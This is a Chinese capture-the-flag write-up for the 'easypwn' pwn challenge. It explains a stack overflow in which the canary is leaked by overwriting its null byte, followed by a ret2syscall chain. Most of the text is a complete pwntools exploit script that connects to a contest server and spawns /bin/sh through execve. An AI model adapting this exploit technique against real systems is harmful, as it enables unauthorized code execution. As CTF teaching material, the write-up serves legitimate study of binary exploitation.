“百度杯”CTF比赛 十二月场--easypwn

Xor0ne

“百度杯”CTF比赛 十二月场--easypwn

来自于：i春秋

题目内容：

nc 106.75.2.53 10002

附加下载：

Writeup

来源于：https://www.ichunqiu.com/writeup/detail/519

1. ➜  workspace file easypwn
   
2. easypwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=58ec15567fd67c15860264b3a52c0e0ed22cefd7, not stripped
   
3. ➜  workspace checksec easypwn
   
4. [*] '/Users/apple/Binary/CTF/Shooting/ichun/Pwn/easypwn/workspace/easypwn'
   
5.     Arch:     amd64-64-little
   
6.     RELRO:    Partial RELRO
   
7.     Stack:    Canary found
   
8.     NX:       NX enabled
   
9.     PIE:      No PIE (0x400000)

复制代码

题目中存在一个明显的栈溢出漏洞,buf数组越界......

但是开启了Canary。

首先通过第一个read(&buf,0,0x40)覆盖Canary的最后一个字节"\x00"，从而将Canary泄露出来

在之后填入泄露的Canary做ROP

同样题目中泄露是会出现问题的，所以还是选择做ret2syscall，通过read函数泄露syscall地址，进而利用通用gadgets调用执行

#/usr/env/bin python
from pwn import *
context.binary = './easypwn'
context.terminal = ['tmux','sp','-h']
#context.log_level = 'debug'
elf = ELF('./easypwn')
#io = process('./easypwn')
io = remote('106.75.66.195', 20000)
#leak Canary
io.recvuntil('Who are you?\n')
io.sendline('A'*(0x50-0x8))
io.recvuntil('A'*(0x50-0x8))
canary = u64(io.recv(8))-0xa
log.info('canary:'+hex(canary))
#leak read_addr
io.recvuntil('tell me your real name?\n')
payload = 'A'*(0x50-0x8)
payload += p64(canary)
payload += 'A'*0x8
payload += p64(0x4007f3)
payload += p64(elf.got['read'])
payload += p64(elf.plt['puts'])
payload += p64(0x4006C6)
io.send(payload)
io.recvuntil('See you again!\n')
#cacl syscall_addr
read_addr = u64(io.recvuntil('\n',drop=True).ljust(0x8,'\x00'))
log.info('read_addr:'+hex(read_addr))
syscall = read_addr+0xe
log.info('syscall:'+hex(syscall))
sleep(0.5)
io.recvuntil('Who are you?\n')
io.sendline('A'*(0x50-0x8))
#gdb.attach(io,'b *0x4007d6')
#execve("/bin/sh",NULL,NULL)
io.recvuntil('tell me your real name?\n')
payload = 'A'*(0x50-0x8)
payload += p64(canary)
payload += 'A'*0x8
payload += p64(0x4007EA)
payload += p64(0)+p64(1)+p64(elf.got['read'])+p64(0x3B)+p64(0x601080)+p64(0)
payload += p64(0x4007D0)
payload += p64(0)
payload += p64(0)+p64(1)+p64(0x601088)+p64(0)+p64(0)+p64(0x601080)
payload += p64(0x4007D0)
io.send(payload)
sleep(0.5)
raw_input('Go?')
content = '/bin/sh\x00'+p64(syscall)
content = content.ljust(0x3B,'A')
io.send(content)
io.interactive()

结果：